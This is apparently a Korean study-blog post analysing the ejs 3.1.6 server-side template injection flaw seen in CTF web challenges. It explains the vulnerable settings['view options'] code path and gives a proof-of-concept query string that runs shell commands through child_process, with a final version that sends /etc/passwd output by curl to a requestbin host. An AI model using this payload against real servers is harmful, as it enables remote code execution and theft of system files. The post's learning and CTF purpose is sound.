CTF 웹 문제를 봐보면 ssti 취약점 문제가 생각보다 많다.
ssti 문제들의 패키지 파일을 보면 ejs 3.1.6 이나 ejs 3.1.8 등등이 있는 것 같다.
그래서 한번 ejs 3.1.8을 찾아보려니 먼저 ejs 3.1.6 취약점을 공부해보라고 해서 ejs 3.1.6 취약점을 공부한걸 정리해본다
취약점 발생 코드
// Undocumented after Express 2, but still usable, esp. for
// items that are unsafe to be passed along with data, like `root`
viewOpts = data.settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
}
해당 코드 부분을 한줄씩 해석해보면
1. data.settings 의 view options를 viewOpts에 할당시킨다.
viewOpts = data.settings['view options'];
2. viewOpts에 무언가가 할당되어 있으면 if 문이 True가 된다.
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
3. shallowCopy 함수를 사용해서 opts에 viewOpts를 딕셔너리 형태 {key : value} 로 복사시킨다.
utils.shallowCopy(opts, viewOpts);
여기서 opts에 아무제한 없이 복사하는것이 문제가 된다.
if (opts.outputFunctionName) {
if (!_JS_IDENTIFIER.test(opts.outputFunctionName)) {
throw new Error('outputFunctionName is not a valid JS identifier.');
}
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
prepended에 opts.outputFunctionName을 넣는것을 볼 수 있다.
POC
poc 코드를 분석해보면
?settings[view options][outputFunctionName]=a;process.mainModule.require('child_process').execSync("---");
settings[view options][outputFunctionName]=a;
if문들을 True처리해주고,
process.mainModule.require('child_process')
child_process 모듈을 가져와서 쉘을 만들고,
.execSync("---");
이렇게 명령어를 날릴 수 있다.
보통은 requests bin에다가 curl 명령어를 통해서 exploit 하는것 같다.
curl "http://127.0.0.1:8080/?$(ls -al)"
아마 이런식으로?
최종 POC 코드는
?settings[view options][outputFunctionName]=a;process.mainModule.require('child_process').execSync('curl "http://requestsbin/?$(cat etc/passwd)"');
사실 될지 안될지는 모르겠는ㄷ ㅔ 아마 될것이다.
처음 이런 취약점 공부해봤는데 신기하고 대단하다
나도 나중에 이런식으로 취약점 찾아내서 cve 받아보고싶다.
글고 Js 공부 열심히 해야겠다.
'web hacking' 카테고리의 다른 글
SQL Injection (0) | 2023.09.09 |
---|---|
내 web shell은 어디에... (0) | 2023.09.07 |
file upload 대응은 이게 정석일껄요...? (0) | 2023.09.04 |
HTML/CSS Injection (0) | 2023.07.28 |
정보빼가는 SQLi 와 SQLMAP (0) | 2023.07.24 |